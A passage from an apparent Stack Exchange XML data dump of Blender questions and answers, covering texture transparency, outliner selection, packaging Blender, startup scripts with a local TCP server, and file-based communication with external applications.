LastActivityDate="2014-09-08T10:39:40.407" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15656" PostTypeId="1" AcceptedAnswerId="15664" CreationDate="2014-09-08T09:33:17.103" Score="5" ViewCount="4029" Body="&lt;p&gt;I saw the threads on PNG alpha and made what It was recommended to do but I still have the problem although it brought me forward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've a picture with transparent background (PNG), all seems ok for this picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use it as a texture so I mapped it and it's maybe a bit deformed but seems also ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that the background is not totally black anymore but still on the edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my node structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vODqb.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;And here is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RyTBz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to remove these black borders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the texture I want to apply:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0Tx44.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://mega.co.nz/#!J4dQxZyK!Az2lrqTyjmam0jxcHMyfXcwgMV1TD2ScatD4Lg9PhKY&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt; of the project (all the present textures are not used).&lt;/p&gt;&#xA;" OwnerUserId="5938" LastEditorUserId="55" LastEditDate="2014-09-08T14:37:49.050" LastActivityDate="2014-09-08T14:37:49.050" Title="Alpha PNG as Texture with nodes -&gt; isn't totally transparent" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15657" PostTypeId="1" AcceptedAnswerId="15660" CreationDate="2014-09-08T10:07:23.440" Score="7" ViewCount="6380" Body="&lt;p&gt;Here's my problem...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have many objects which I've duplicated but didn't notice myself duplicating the camera while I was in side view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lvohM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this is ok, because I've spotted a search box. I can find/delete...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uOuhF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Except deleting (while mouse is in 3D view) only deletes the one white-selected camera. The &lt;code&gt;a&lt;/code&gt; key does toggle a form of selection, but instead of being an actual selection it's more of a doesn't do anything at all selection. The outliner is pretty unresponsive to what I would think of as typical user interaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I actually-select lots of things in the outliner?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have just noticed that without search results I can make a doesn't-do-anything selection, right click and choose &quot;select&quot; to create an actual-selection. Either &lt;code&gt;a&lt;/code&gt; all or &lt;code&gt;b&lt;/code&gt; box select works to make a doesn't-do-anything selection. I can't however create typical shift-select between first and last so I think I need a bigger monitor to display more outliner for my box select. This right click &quot;select&quot; method doesn't work on doesn't-do-anything selections after filtering the outliner with the search box.&lt;/p&gt;&#xA;" OwnerUserId="1713" LastActivityDate="2017-10-03T23:33:06.783" Title="Select all and delete in outliner search results" Tags="&lt;outliner&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15658" PostTypeId="2" ParentId="15632" CreationDate="2014-09-08T11:04:17.543" Score="1" Body="&lt;p&gt;If you add a poll method to your panel class you can use whatever criteria you wish to decide if a panel should be shown.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;@classmethod&#xA;def poll(cls, context):&#xA;    return context.active_object.type == 'ARMATURE' and&#xA;        context.active_object.name.startswith('myrig')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you alter the bone layer visibility it should only effect the one active armature. You can perform tests in the panels draw function to decide if a layer button is shown.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw(self, context):&#xA;    layout = self.layout&#xA;    col = layout.column()&#xA;&#xA;    if context.active_object.name.startswith('myrig'):&#xA;        row = col.row()&#xA;        row.prop(context.active_object.data, 'layers', index=0, toggle=True, text='head')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I don't think there is an easy way to check if there are bones on a layer, you need to loop through all bones and their layers array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def used_layers(obj):&#xA;    ulayers = [False,]*32&#xA;    if obj.type == 'ARMATURE':&#xA;        for bone in obj.data.bones:&#xA;            for i in range(32):&#xA;                if bone.layers[i]:&#xA;                    ulayers[i] = True&#xA;    return ulayers&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the draw method -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw(self, context):&#xA;    layout = self.layout&#xA;    col = layout.column()&#xA;    show_layers = used_layers(context.active_object)&#xA;&#xA;    if show_layers[0]:&#xA;        row = col.row()&#xA;        row.prop(context.active_object.data, 'layers', index=0, toggle=True, text='head')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-09-08T11:04:17.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15660" PostTypeId="2" ParentId="15657" CreationDate="2014-09-08T11:44:24.800" Score="8" Body="&lt;p&gt;Selecting in the outliner would mark its list items as selected but does not select the objects you want to remove. To select more than one object in the outliner you can &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;LMB&lt;/kbd&gt; each object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you could select them by name in &lt;em&gt;Object Mode&lt;/em&gt; &lt;em&gt;Menu:Select / Select pattern&lt;/em&gt;, Type Camera.* (this omits the default camera) and press &lt;kbd&gt;X&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xUnkE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-09-08T11:44:24.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15661" PostTypeId="2" ParentId="15653" CreationDate="2014-09-08T12:08:29.810" Score="0" Body="&lt;p&gt;I vote that this hits a bug. A small movement hides the error -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Take the union of 'A' and 'B'&#xA;modName = 'Union'&#xA;bpy.context.scene.objects.active = objA&#xA;boo = objA.modifiers.new(modName, 'BOOLEAN')&#xA;boo.object = objB&#xA;boo.operation = 'UNION'&#xA;objB.location = (0.01, 0.0, 0.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if you manually move the cube back to (0.0, 0.0, 0.0) the error returns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think that small a variation in location should effect the boolean modifier.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2014-09-08T12:35:49.410" LastActivityDate="2014-09-08T12:35:49.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15662" PostTypeId="2" ParentId="15642" CreationDate="2014-09-08T12:20:52.777" Score="4" Body="&lt;p&gt;One way would be to add a node group right at the end of all your materials:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KCpQB.png&quot; alt=&quot;dirt group&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way you would only need to setup/change the dirt shader stuff once, and it'll be used by all your materials the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nodes inside the group might be something like this (though it really depends on what you're doing):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ibAhF.png&quot; alt=&quot;dirt group inner&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info about node groups:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/manual/editors/node_editor/node_groups.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;User Manual&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=E7bfXY3-bC0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Cookie tutorial&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9" LastEditorUserId="2217" LastEditDate="2015-11-21T23:48:06.200" LastActivityDate="2015-11-21T23:48:06.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15663" PostTypeId="1" CreationDate="2014-09-08T12:30:57.467" Score="2" ViewCount="301" Body="&lt;p&gt;Suppose I create an blender application in blender: a default block with block parameter buttons from pressing &quot;N&quot; on the keyboard, as shown in Figure &lt;a href=&quot;https://i.stack.imgur.com/0xe5r.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/0xe5r.png&quot; alt=&quot;A default block with block parameter buttons within Blender&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;           Figure 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, users can change the parameters for different block views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I wrap up the application with those parameter buttons only as a package (say, exe or msi or some other file) as shown in Figure 2&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6gtGq.png&quot; alt=&quot;A default block with block parameter buttons ONLY&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;           Figure 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for end users who don't need to install Blender. The end users just simply install the application, run it and get into the customized UI (Figure 2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have googled the web for it but no luck. Probably I used wrong keywords for googling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ouyang    &lt;/p&gt;&#xA;" OwnerUserId="5857" LastEditorUserId="5857" LastEditDate="2014-09-08T12:37:18.140" LastActivityDate="2014-12-09T18:54:09.483" Title="How to wrap up an independent blender application with customized UI for clients who do not need to install blender?" Tags="&lt;rendering&gt;&lt;export&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15664" PostTypeId="2" ParentId="15656" CreationDate="2014-09-08T13:13:28.760" Score="9" Body="&lt;p&gt;Everything is working as it's supposed to. Those black borders you see are simply shadows cast by the mug onto itself because you've made a hole in the side with the transparency shader. It's easier to see from the side:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K2CVY.png&quot; alt=&quot;side view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like you're trying to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PVn11.png&quot; alt=&quot;decal&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need a transparency shader because you're not making anything transparent - you simply need to make the background of the image the same colour as the rest of the mug, so just use a MixRGB node and the alpha of the image as the Fac.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll notice I added a math node as well - that's just to control how much of the glossy is being mixed in, since if you used the alpha directly without the math node it'd be mixing 100% glossy and 0% diffuse.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-09-08T13:13:28.760" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15665" PostTypeId="2" ParentId="15663" CreationDate="2014-09-08T13:43:33.297" Score="4" Body="&lt;p&gt;This is possible without any significant modifications.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download blender (the zipfile version)&lt;/li&gt;&#xA;&lt;li&gt;Add your own &lt;code&gt;2.72/config/startup.blend, userpref.blend&lt;/code&gt;&lt;br&gt;(depending on your configuration these files may have to be copied out of your personal settings into a directory relative to &lt;code&gt;blender.exe&lt;/code&gt;&lt;br&gt;see: &lt;a href=&quot;https://www.blender.org/manual/installing_blender/directorylayout.html&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/manual/installing_blender/directorylayout.html&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;modify &lt;code&gt;startup.blend&lt;/code&gt; so the view is organized as you like (you can match the view you've created fairly easily).&lt;/li&gt;&#xA;&lt;li&gt;Any other runtime customizations you can add to a &lt;strong&gt;Python&lt;/strong&gt; script in a text block (enable register, so it loads on startup).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You may also want to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disable the splash screen: Preferences -&gt; Interface -&gt; Show Splash&lt;/li&gt;&#xA;&lt;li&gt;Rename &lt;code&gt;blender.exe&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Change the icon (shouldn't be so hard with a recourse editor, you could also make a custom build).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-12-09T18:54:09.483" LastActivityDate="2014-12-09T18:54:09.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15666" PostTypeId="1" CreationDate="2014-09-08T14:47:23.307" Score="0" ViewCount="1882" Body="&lt;p&gt;I am trying to run a custom script when Blender starts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My script location is&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;C:\Program Files (x86)\Blender Foundation\Blender\2.70\scripts\startup&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My idea is to start a TCP server on Blender start up, but Blender is complaining:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;NameError: name 'register' is not defined&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import socketserver&#xA;&#xA;class MyTCPHandler(socketserver.BaseRequestHandler):&#xA;&#xA;def handle(self):&#xA;    # self.request is the TCP socket connected to the client&#xA;    self.data = self.request.recv(1024).strip()&#xA;    print(&quot;{} wrote:&quot;.format(self.client_address[0]))&#xA;    print(self.data)&#xA;    # just send back the same data, but upper-cased&#xA;    self.request.sendall(&quot;[MOVE]MessageReceived[END]&quot;)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(MyTCPHandler)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(MyTCPHandler)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;&#xA;    register()  &#xA;&#xA;    # Create the server, binding to localhost on port 9999&#xA;    server = socketserver.TCPServer((&quot;localhost&quot;, 9999), MyTCPHandler)&#xA;&#xA;    # Activate the server; this will keep running until you&#xA;    # interrupt the program with Ctrl-C&#xA;    server.serve_forever()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5941" LastEditorUserId="1363" LastEditDate="2014-09-12T19:58:10.497" LastActivityDate="2014-09-12T19:58:10.497" Title="function 'register' is not defined" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15667" PostTypeId="2" ParentId="15654" CreationDate="2014-09-08T15:09:56.253" Score="4" Body="&lt;p&gt;This info, blatantly taken from the old manual page, gives you a clear idea on what to expect when subsurfing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SYSWk.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8Cb19.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6arbj.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;EDIT:&#xA;Unfortunately the link to the old manual is gone&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;it was worth reading the whole page specially the Performance considerations.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://www.blender.org/manual/modeling/modifiers/generate/subsurf.html?highlight=performance#performance-considerations&quot; rel=&quot;nofollow noreferrer&quot;&gt;new manual&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Performance Considerations&lt;/p&gt;&#xA;&lt;p&gt;Higher levels of subdivisions mean more vertices, and more vertices means more memory will be used (both video memory for display, and system RAM for rendering). Blender could potentially crash or hang if you do not have enough memory.&lt;/p&gt;&#xA;&lt;p&gt;When using high levels of subdivision with a graphics card that has a low total amount of Vram, some parts of the geometry will disappear visually. Your mesh will actually be OK, because the render is generated using your Object Data, (even though it cannot be shown by your graphics card).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditorDisplayName="user1853" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-12-07T06:16:06.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15668" PostTypeId="1" CreationDate="2014-09-08T15:41:34.473" Score="2" ViewCount="131" Body="&lt;p&gt;I am kind of new to this whole blender program, and I'm currently trying to make a text animation where the letters are made out metaballs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prntscr.com/4kvsko&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mfHm0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By now I have made 850 metaballs and I'm not even done with a single letter, I was wondering if there was any way to copy the or duplicate the metaballs and in some way make my work easier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I'm doing is most likely the slowest.&lt;/p&gt;&#xA;" OwnerUserId="5942" LastEditorUserId="3127" LastEditDate="2014-09-08T22:28:58.773" LastActivityDate="2014-09-09T04:05:43.517" Title="Duplicating motionpaths(keyframes)" Tags="&lt;objects&gt;&lt;keyframes&gt;&lt;meta-objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15669" PostTypeId="1" AcceptedAnswerId="15680" CreationDate="2014-09-08T16:23:38.283" Score="28" ViewCount="23078" Body="&lt;p&gt;What would be a way to create a glow in Blender. For that purpose I've been always using the compositor. However, that is pixels work, which means it is a 2d work. To make a 3d one, do I have to use particles, nodes or maybe some simulator? Because the compositor deals with images, which will make the glow to be out of perspective (flat). is there a way to make a glow with depth in Blender? Here is what I mean (If we assume that the blue color is a glow, it is clear that like other objects it is part of the perspective of the 3d view, which means that it has depth) - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/crBj1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if possible, how to make one in cycles?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="241" LastEditDate="2015-01-21T16:21:33.257" LastActivityDate="2016-05-24T17:44:19.983" Title="Glow with depth in Blender?" Tags="&lt;rendering&gt;" AnswerCount="4" CommentCount="13" FavoriteCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="15670" PostTypeId="1" AcceptedAnswerId="15672" CreationDate="2014-09-08T16:41:06.960" Score="3" ViewCount="1493" Body="&lt;p&gt;I need to send instructions to blender trough an external application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example: import model to current scene &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Can someone point me in the right direction based on previous experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ghus&lt;/p&gt;&#xA;" OwnerUserId="5941" LastActivityDate="2014-09-09T06:42:33.847" Title="send instructions to blender from external application" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2016-01-22T12:53:55.233" ContentLicense="CC BY-SA 3.0" />
  <row Id="15671" PostTypeId="2" ParentId="15657" CreationDate="2014-09-08T20:03:08.470" Score="4" Body="&lt;p&gt;This is not exactly what you asked, but might come in handy anyway:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj in bpy.context.scene.objects:&#xA;    obj.select = ( obj.name[:3] == &quot;Cub&quot; )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a python script you can paste into blender's Text Editor and then Run Script.  (although the Text Editor starts out without any text buffer and you have to click New to make it typable/pasteable).&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-09-08T20:03:08.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15672" PostTypeId="2" ParentId="15670" CreationDate="2014-09-08T20:14:18.583" Score="1" Body="&lt;p&gt;You could poll a file with instructions or use sockets (for remote networks) or something else from pythons &lt;a href=&quot;https://docs.python.org/3/library/ipc.html&quot; rel=&quot;nofollow&quot;&gt;interprocess communication&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a file could be quite simple, the basic idea is to execute the statements in a loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Process A                           Process B(lender)&#xA;------------------------------------------------------&#xA;                                    File exists No -&amp;gt; sleep    &#xA;Create file with instructions       &#xA;                                    File exists Yes -&amp;gt; read and execute statements&#xA;Does file still exist Yes -&amp;gt;sleep&#xA;                                    After execution delete file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While Process-A just needs to print some lines in a text file like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import,file1.obj&#xA;import,file2.obj&#xA;import,file3.obj&#xA;cancel,none&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Blender side could be timer operator (based on the build in template) it actually reads the commands from the file (the last command 'cancel' deletes the file and stops the timer):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os.path&#xA;&#xA;class ModalTimerOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Operator which runs its self from a timer&quot;&quot;&quot;&#xA;    bl_idname = &quot;wm.modal_timer_operator&quot;&#xA;    bl_label = &quot;Modal Timer Operator&quot;&#xA;&#xA;    _timer = None&#xA;    filename='C:\\dev\\command.txt'&#xA;&#xA;    def modal(self, context, event):&#xA;        if event.type == 'TIMER':&#xA;            if os.path.isfile(self.filename):&#xA;                for line in open(self.filename):&#xA;                    line=line.rstrip(&quot;\n&quot;)&#xA;                    cmd,arg = line.split(&quot;,&quot;)&#xA;                    if cmd == 'import':&#xA;                        print('import requested file=%s' % arg )&#xA;                    elif cmd == 'cancel':&#xA;                        self.cancel( context )&#xA;                    else:&#xA;                        print('unknown request=%s arg=%s' % (cmd,arg))&#xA;                os.remove( self.filename )&#xA;                print('command file removed')&#xA;            else:&#xA;                print('waiting for command file=%s' % self.filename )&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def execute(self, context):&#xA;        wm = context.window_manager&#xA;        self._timer = wm.event_timer_add(5, context.window)&#xA;        wm.modal_handler_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def cancel(self, context):&#xA;        wm = context.window_manager&#xA;        wm.event_timer_remove(self._timer)&#xA;        print('timer removed')&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalTimerOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalTimerOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.wm.modal_timer_operator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-09-09T06:42:33.847" LastActivityDate="2014-09-09T06:42:33.847" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15673" PostTypeId="2" ParentId="15666" CreationDate="2014-09-08T21:22:11.690" Score="1" Body="&lt;p&gt;The script has a few issues, first indentation seems not correct and seems to cause the error (could be caused by copy and paste). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Python relies on the indentation of code because it doesn't use braces to separate code segments syntactically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before a class can be registered as an operator the class must be inherit from &lt;code&gt;bpy.types.Operator&lt;/code&gt; or &lt;code&gt;bpy.types.Menu&lt;/code&gt; (see the docs whether there're more options).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;socketserver&lt;/code&gt; constructor is not invoked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3277367/how-does-pythons-super-work-with-multiple-inheritance&quot;&gt;https://stackoverflow.com/questions/3277367/how-does-pythons-super-work-with-multiple-inheritance&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blenders build-in text editor provides some examples of operators as &lt;em&gt;Templates&lt;/em&gt; acessible from the &lt;em&gt;Menu&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2014-09-09T06:56:13.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15674" PostTypeId="1" AcceptedAnswerId="15675" CreationDate="2014-09-08T22:04:27.073" Score="5" ViewCount="2742" Body="&lt;p&gt;I'm trying out the displacement modifier for bump mapping, and I'm stuck with a problem. The displacement texture doesn't matches my color texture, and I can't find a way to resize it too.&#xA;Here's how it is looking like: &lt;img src=&quot;https://i.imgur.com/7tlc62H.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having troubles resizing it too. I've tried resizing the UV Map, but it only changes the color texture: &lt;img src=&quot;https://i.imgur.com/jUNTuTt.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically I could resize them with the mapping controls, but they use different units so I would have to tinker it by eye. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/EmovxmF.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I get the displacement texture to match the color texture position and size? They were generated on CrazyBump, by the way, so they're not different sizes or anything.&lt;/p&gt;&#xA;" OwnerUserId="1936" LastActivityDate="2014-09-08T22:26:57.693" Title="Displacement modifier texture not matching color texture" Tags="&lt;texturing&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15675" PostTypeId="2" ParentId="15674" CreationDate="2014-09-08T22:26:57.693" Score="8" Body="&lt;p&gt;You need to set the displacement modifier to use the UV map:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Aytwx.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To change the size, simply scale the UV map up or down, by going into the UV editor and hitting &lt;kbd&gt;S&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-09-08T22:26:57.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
